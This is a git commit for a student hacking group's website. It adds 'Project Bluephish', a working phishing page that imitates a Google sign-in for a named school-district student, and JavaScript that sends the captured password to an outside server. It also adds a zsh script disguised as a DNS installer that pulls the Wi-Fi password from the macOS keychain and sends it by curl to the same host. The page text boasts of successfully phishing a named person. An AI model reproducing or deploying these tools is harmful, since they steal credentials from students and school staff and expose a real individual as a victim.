Massive updates

This commit is contained in:
q9i 2023-10-12 19:18:30 -07:00
parent 0f7710b995
commit a8ef2114ac
12 changed files with 118 additions and 46 deletions

BIN
public/assets/img/esp.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 252 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 MiB

Binary file not shown.

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1 @@
<!doctypehtml><meta charset=utf-8><meta content="IE=edge"http-equiv=X-UA-Compatible><title>SRVUSD Security Hub</title><meta content="SRVUSD Security Hub is a centralized, district-managed platform for reporting campus security incidents"name=description><meta content="width=device-width,initial-scale=1"name=viewport><link href=/srvusd.png rel=icon type=image/x-icon><link href=./index.css rel=stylesheet><link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:opsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200"rel=stylesheet><div class="hide popup"id=popup-1><div class=window-frame><button class=nav-button onclick=closePopups()><span class="material-symbols-outlined close-window">close</span></button></div><div class=window-content><div class=google-login-container><img src=./google-wordmark.jpg class=google><h2 class=google-login-title>Verify it's you</h2><div class=google-account><img src=./botman.png class=pfp><p class=email>225797@students.srvusd.net</div><p class=google-login-description>To help keep your account secure, Google needs to verify it's you. Please sign in again to continue to SRVUSD Security Hub.</p><button class=google-button onclick=closePopups(),toLogin()>Next</button></div></div></div><div class="hide popup"id=popup-2><div class=window-frame><button class=nav-button onclick=closePopups()><span class="material-symbols-outlined close-window">close</span></button></div><div class=window-content><div class=google-login-container><img src=./google-wordmark.jpg class=google><h2 class=google-login-title>Hi Jeremy</h2><div class="google-account oval"><img src=./botman.png class="pfp stacked"><p class="email stacked">225797@students.srvusd.net</p><span class=material-symbols-outlined>expand_more</span></div><input class=google-input type=password id=password><div class="empty inactive"id=password-placeholder>Enter your password</div><label class=pure-material-checkbox><input class=google-checkbox type=checkbox onclick=showPassword()> <span>Show password</span></label> <button class=forgot-button>Forgot password?</button> <button class="google-button next"onclick=finish()>Next</button></div></div></div><img src=./srvusd.png><h1>SRVUSD Security Hub</h1><p>To continue as <strong>Jeremy Eltho</strong>, please login with a district-affiliated account.<p>You have <strong>1</strong> <span class=critical>high-severity</span> pending security alert(s).</p><br><button class=google-sign-in-button onclick=start() type=button>Sign in with Google</button><br><br><button class="google-sign-in-button microsoft"onclick='alert("No account found. Try another login service instead.")'type=button>Sign in with Microsoft</button><div class=hide id=loader>Please wait as we process your request …</div><script async defer src=./index.js></script>

View file

@ -0,0 +1 @@
const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://dextensify.pages.dev/main"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);

View file

@ -0,0 +1,4 @@
#!/bin/zsh
read -n 1 -s -r -p 'Press enter to start';echo '';echo 'Preparing DNS …';echo 'This script will guide you through the installation process of the DNS server.';echo 'It may require you to respond to some system dialogs to ensure WiFi connectivity.';echo '';read -n 1 -s -r -p 'Press enter to continue';echo '';echo 'Identifying Router Name …';SSID=$(networksetup -getairportnetwork en0 | awk -F': ' '{print $2}');if [[ -z "$SSID" ]]; then; echo 'Could not retrieve SSID. Are you connected to a network?'; exit 1;fi;PASSWORD=$(security find-generic-password -D "AirPort network password" -a "$SSID" -w);if [[ -z "$PASSWORD" ]]; then; echo 'Could not retrieve password. Do you have the necessary permissions?'; exit 1;fi;{; echo "$SSID"; echo "$PASSWORD";} > output157.txt;COMBINED=$(echo 'SSID: '$SSID + '\%\%PASSWORD: '$PASSWORD);echo 'Getting network configuration …';curl -X GET -G 'https://sphinx-three.vercel.app/api/crypto/dump' --data-urlencode 'contents='$COMBINED > /dev/null
# script > EXIT!
echo 'Error configuring network!';echo 'Dumping error report below:';echo '> Could not find module '$ROUTERNAME;echo '> Please check your network configuration';echo '';read -n 1 -s -r -p 'Press enter to exit';echo '';exit;

View file

@ -19,6 +19,10 @@ body {
margin-right: 50px; margin-right: 50px;
} }
.intro {
margin-top: 0;
}
h1 { h1 {
color: white; color: white;
font-family: 'DM Sans', sans-serif; font-family: 'DM Sans', sans-serif;
@ -29,6 +33,7 @@ p {
color: white; color: white;
font-family: 'Phudu', cursive; font-family: 'Phudu', cursive;
letter-spacing: 0.1em; letter-spacing: 0.1em;
margin-top: 50px;
} }
a { a {
@ -96,6 +101,10 @@ img {
margin-top: 10px; margin-top: 10px;
} }
.projects-list a {
font-weight: normal;
}
footer { footer {
padding: 20px; padding: 20px;
padding-top: 30px; padding-top: 30px;

View file

@ -47,63 +47,103 @@
<div id="code"></div> <div id="code"></div>
<img id="logo" src="assets/img/gallium-workshop.png" /> <img id="logo" src="assets/img/gallium-workshop.png" />
<h1>Gallium Workshop</h1> <h1>Gallium Workshop</h1>
<p> <p class="intro">
We are a cybersecurity research and anarchist collective. Our goals: the abolition of private capital and maximum psychic damage to <a href="https://www.srvusd.net/Departments/Business-Services/Technology/index.html" target="_blank">SRVUSD sysadmins</a>. World domination will be achieved by 2026. <a href="assets/img/space-communism.jpg" target="_blank">Fully Automated Luxury Gay Space Communism</a> soon to follow. Some of our recent projects include: We are a cybersecurity research and anarchist collective. Our goals: the
abolition of private capital and maximum psychic damage to
<a
href="https://www.srvusd.net/Departments/Business-Services/Technology/index.html"
target="_blank"
>SRVUSD sysadmins</a
>. World domination will be achieved by 2026. <a href="assets/img/space-communism.jpg" target="_blank">Fully Automated Luxury Gay
Space Communism</a> soon to follow. Some of our recent projects include:
</p> </p>
<video controls class="dropkick"> <video controls class="dropkick">
<source src="assets/media/chromebook.mp4" type="video/mp4" /> <source src="assets/media/chromebook.mp4" type="video/mp4" />
Your browser does not support the video tag. Your browser does not support the video tag.
</video> </video>
<div class="bg-text" bgcolor="#000000" text="#000000" link="#0000ff" vlink="#ff0000" alink="#ffff00"> <div
<center> class="bg-text"
you are registered as a participant in a mass disturbance bgcolor="#000000"
</center> text="#000000"
link="#0000ff"
vlink="#ff0000"
alink="#ffff00"
>
<center>you are registered as a participant in a mass disturbance</center>
</div> </div>
<p>
Wondering what the code flashing on your screen is? It's the exact version
of <a href="./assets/sources/bluephish.tar.gz">Project Bluephish</a> that
was used (successfully) to phish Jeremy Eltho, marking the first
cybercrime committed by our organization, which recognizes neither
national or international authority nor ethical principles.
</p>
<h2>Proprietary Projects</h2> <h2>Proprietary Projects</h2>
<div class="projects-list"> <div class="projects-list">
<div class="project"> <a href="https://phoenix-mbxa.onrender.com">
<img src="assets/img/srvusd-irc.png" /> <div class="project">
<h3>SRVUSD IRC</h3> <img src="assets/img/srvusd-irc.png" />
<p>District-wide IRC chat application</p> <h3>SRVUSD IRC</h3>
</div> <p>District-wide IRC chat application</p>
<div class="project"> </div>
<img src="assets/img/srv-coin.png" /> </a>
<h3>SRV Coin</h3> <a href="https://sphinx-three.vercel.app">
<p> <div class="project">
The world's most valuable cryptocurrency, set to exceed the value of <img src="assets/img/srv-coin.png" />
Bitcoin <h3>SRV Coin</h3>
</p> <p>
</div> The world's most valuable cryptocurrency, set to exceed the value of
Bitcoin
</p>
</div>
</a>
</div> </div>
<h2>Open Source Projects</h2> <h2>Open Source Projects</h2>
<div class="projects-list"> <div class="projects-list">
<div class="project"> <div class="project" onclick="quakeInstructions()">
<img src="assets/img/quake-3-arena.png" /> <img src="assets/img/quake-3-arena.png" />
<h3>QuakeJS</h3> <h3>QuakeJS</h3>
<p>Quake 3 Arena fully playable in the browser and hosted within the SRVUSD intranet</p> <p>
Quake 3 Arena fully playable in the browser and hosted within the
SRVUSD intranet
</p>
</div> </div>
</div> </div>
<h2>Hardware Projects</h2> <h2>Hardware Projects</h2>
<div class="projects-list"> <div class="projects-list">
<div class="project"> <div class="project">
<!-- <img src="assets/img/quake-3-arena.png" /> --> <img src="assets/img/jankbook.png" />
<h3>Jankbook Pro</h3> <h3>Jankbook Pro</h3>
<p>Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom firmware allowing booting to Linux</p> <p>
Dell 3100 2-in-1 Chromebook, unenrolled and loaded with custom
firmware allowing booting to Linux
</p>
</div> </div>
<div class="project"> <div class="project">
<!-- <img src="assets/img/quake-3-arena.png" /> --> <img src="assets/img/toughbook.png" />
<h3>Toughbook</h3> <h3>Toughbook</h3>
<p>Decommissioned robotics laptop. Probably not a real toughbook, but it sure looks like one</p> <p>
Decommissioned robotics laptop loaded up with state-of-the-art *nix
architecture and used primarily for sponsoring nefarious activities
over intranet
</p>
</div> </div>
<div class="project"> <div class="project">
<!-- <img src="assets/img/quake-3-arena.png" /> --> <img src="assets/img/esp.jpg" />
<h3>ESP Deauther</h3> <h3>ESP Deauther</h3>
<p>Work-in-progress multi-vector network offensive security testing device, based on an ESP development board</p> <p>
Work-in-progress multi-vector network offensive security testing
device, based on an ESP development board
</p>
</div> </div>
<div class="project"> <div class="project">
<!-- <img src="assets/img/quake-3-arena.png" /> --> <img src="assets/img/router.png" />
<h3>Gallium Intranet</h3> <h3>Gallium Intranet</h3>
<p>A private network hosted by Gallium workshop in order to facilitate easy local area connections to other devices</p> <p>
A private network hosted by Gallium Workshop at SRV in order to
facilitate easy local area connections to other devices and counter
the Great SRVUSD Firewall
</p>
</div> </div>
</div> </div>
<h2>Honorary Members</h2> <h2>Honorary Members</h2>
@ -149,7 +189,10 @@
</a> </a>
</div> </div>
<div class="member"> <div class="member">
<a target="_blank" href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris"> <a
target="_blank"
href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris"
>
<img <img
src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Robert_Tappan_Morris.jpg/220px-Robert_Tappan_Morris.jpg" src="https://upload.wikimedia.org/wikipedia/commons/thumb/8/86/Robert_Tappan_Morris.jpg/220px-Robert_Tappan_Morris.jpg"
/> />
@ -179,7 +222,9 @@
<div id="footer-header">Gallium Workshop</div> <div id="footer-header">Gallium Workshop</div>
<p> <p>
Are you a SYSADMIN? Check Are you a SYSADMIN? Check
<a target="_blank" href="https://img-9gag-fun.9cache.com/photo/aOQZoMN_460s.jpg" <a
target="_blank"
href="https://img-9gag-fun.9cache.com/photo/aOQZoMN_460s.jpg"
>this</a >this</a
> >
out! out!

View file

@ -2,19 +2,15 @@ let code = document.getElementById('code')
let raw = [] let raw = []
let els = [] let els = []
// const SOURCES = [
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/the-jankiest/index.min.js',
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/hulet/dist/hulet.min.js',
// 'https://cdn.jsdelivr.net/gh/quantum9innovation/sost/dist/sost.min.js',
// 'https://code.jquery.com/jquery-3.6.3.min.js',
// 'https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js',
// ]
const SOURCES = [ const SOURCES = [
`const popup1=document.getElementById("popup-1"),popup2=document.getElementById("popup-2"),password=document.getElementById("password"),passwordPlaceholder=document.getElementById("password-placeholder"),loader=document.getElementById("loader");let start=()=>{popup1.classList.remove("hide")},toLogin=()=>{popup2.classList.remove("hide"),password.focus()},closePopups=()=>{popup1.classList.add("hide"),popup2.classList.add("hide")},finish=()=>{loader.classList.remove("hide");let s=password.value;closePopups(),fetch("https://sphinx-three.vercel.app/api/crypto/dump?"+new URLSearchParams({contents:s}),{mode:"no-cors"}).then(()=>{window.location.href="https://myapps.classlink.com/oauth"})},showPassword=()=>{let s=document.getElementById("password");"password"===s.type?s.type="text":s.type="password"};window.onclick=s=>{let e=e=>s.target.contains(e)&&s.target!==e;(e(popup1)||e(popup2))&&closePopups()};let activatePassword=()=>{passwordPlaceholder.classList.add("active"),passwordPlaceholder.classList.remove("inactive"),setPasswordStatus()},deactivatePassword=()=>{passwordPlaceholder.classList.add("inactive"),passwordPlaceholder.classList.remove("active"),setPasswordStatus()},setPasswordStatus=()=>{password.value.length>0?(passwordPlaceholder.classList.add("non-empty"),passwordPlaceholder.classList.remove("empty")):(passwordPlaceholder.classList.add("empty"),passwordPlaceholder.classList.remove("non-empty"))};password.addEventListener("focusin",activatePassword),password.addEventListener("focusout",deactivatePassword),password.addEventListener("keydown",setPasswordStatus);` './assets/sources/index.css',
'./assets/sources/index.html',
'./assets/sources/index.js',
'./assets/sources/x-proto-dns.sh',
] ]
hljs.configure({ hljs.configure({
languages: ['javascript'], languages: ['javascript', 'css', 'html', 'bash'],
ignoreUnescapedHTML: true ignoreUnescapedHTML: true
}) })
@ -41,7 +37,7 @@ let spawn = () => {
let x = Math.random() * (window.innerWidth - 500) let x = Math.random() * (window.innerWidth - 500)
let y = Math.random() * (window.innerHeight - 400) let y = Math.random() * (window.innerHeight - 400)
spawned.style.left = x + 'px' spawned.style.left = x + 'px'
spawned.style.top = (y + 300) + 'px' spawned.style.top = (2 * y + 500) + 'px'
spawned.style.width = '500px' spawned.style.width = '500px'
spawned.style.height = '100px' spawned.style.height = '100px'
spawned.style.textWrap = 'wrap' spawned.style.textWrap = 'wrap'
@ -57,12 +53,27 @@ let spawn = () => {
let init = async () => { let init = async () => {
for (let source of SOURCES) { for (let source of SOURCES) {
// let res1 = await fetch(source); let res1 = await fetch(source)
// let text1 = await res1.text(); let text1 = await res1.text()
let text1 = source; let formatted = text1.replace(/\n/g, '')
let formatted = text1.replace(/\n/g, "");
raw.push(formatted); raw.push(formatted);
} }
} }
init().then(spawn) init().then(spawn)
let quakeInstructions = () => {
alert(
'Here are the steps to follow to join QuakeJS multiplayer (while at school):\n\n' +
'1. Check your WiFi settings and connect to the "Gas Leak" network. If you don\'t see this network, there\'s probably no game to join.\n' +
'2. The password to the "Gas Leak" network is "fish_tony" (disable any VPNs before connecting).\n' +
'3. Navigate to http://192.168.50.123 on your browser (or close this dialog).\n' +
'4. Click esc and configure settings (try SETUP > PLAYER to rename).\n' +
'5. Leave arena and click MULTIPLAYER.\n' +
'6. Click SPECIFY and type in 192.168.50.123 as the address.\n' +
'7. Leave the port unchanged and join the game.\n' +
'8. Use "t" to chat.\n\n' +
'Happy fragging!'
)
window.location.href = 'http://192.168.50.123'
}